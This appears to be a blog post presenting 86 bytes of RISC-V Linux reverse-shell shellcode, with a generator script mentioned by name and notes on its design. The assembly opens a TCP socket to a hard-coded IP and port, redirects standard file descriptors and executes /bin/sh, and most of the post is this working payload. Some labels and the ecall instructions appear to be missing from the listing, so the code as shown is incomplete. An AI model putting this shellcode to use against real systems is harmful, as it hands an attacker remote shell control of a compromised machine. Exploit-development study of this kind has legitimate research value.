A Naive RISC-V Linux Reverse Shell

Here I want to share a simple script that generates a reverse shell to a given IP address and port. I decided to call it naive—it’s not obfuscated at all and it’s full of ECALL instructions, which means nulls. This is probably only applicable in situations where there are no badchars at all. On the bright side it’s fairly compact. There are ways the badchar situation could be improved but I think it will depend on the execution context much more than x86. In any case, this is the starting point.

rv-naive-revshell.py — Python 3 generator script

This is the shellcode (86 bytes):

        .global _start

        li a0,2         # AF_INET
        li a1,1         # SOCK_STREAM
        li a2,0         # protocol = 0 for tcp
        li a7,198       # socket

        mv t0,a0        # save socket fd to t0
        jal a1,get_sa   # load sockaddr ptr into a1
        li a2,16        # len(sockaddr) - final 8 bytes are garbage
        addi a7,a7,5    # 203 = connect

        li a2,0         # flags
        li a1,2         # destination fd 2
        li a7,24        # dup3
        mv a0,t0        # specify the socket we want to dup

        addi a1,a1,-1   # decrement fd and continue until <0
        bgez a1,re_dup3

        jal a0,get_path # load pathname string ptr into a0
        li a1,0         # null argv
        li a2,0         # null envp
        li a7,221       # execve

        jal a0,execve
        .ascii "/bin/sh\0"

        jal a1,connect
        .byte 0x02, 0x00
        .byte 0x11, 0x5c                # port
        .byte 0x7f, 0x01, 0x01, 0x01    # ip

All of this is very similar to other reverse shells but there are some things to point out:

  • RISC-V is flexible for loading small immediate values, including zero. A 6-bit signed number can be loaded into a register using the C.LI instruction from the compressed instruction set. This instruction occupies 2 bytes and will never contain any nulls, regardless of which register or immediate value is used.
  • Pushing large chunks of data onto the stack is tedious and requires a lot of instructions. That is why I included both the shell path and the struct sockaddr as binary at the end.
  • The get_path and get_sa routines are the equivalent of the jmp-call-pop technique to determine the program counter value, except using link registers instead of the stack.
  • To fit the definition of a struct sockaddr it is necessary to specify its length as 16. In practice the memory following the address isn’t relevant for IP so I get away with only defining the first 8 bytes.
  • It is critical that the binary values at the end are an even number of bytes. If the .ascii had only 7 bytes, the following jal instruction would be misaligned and it would be impossible to assemble.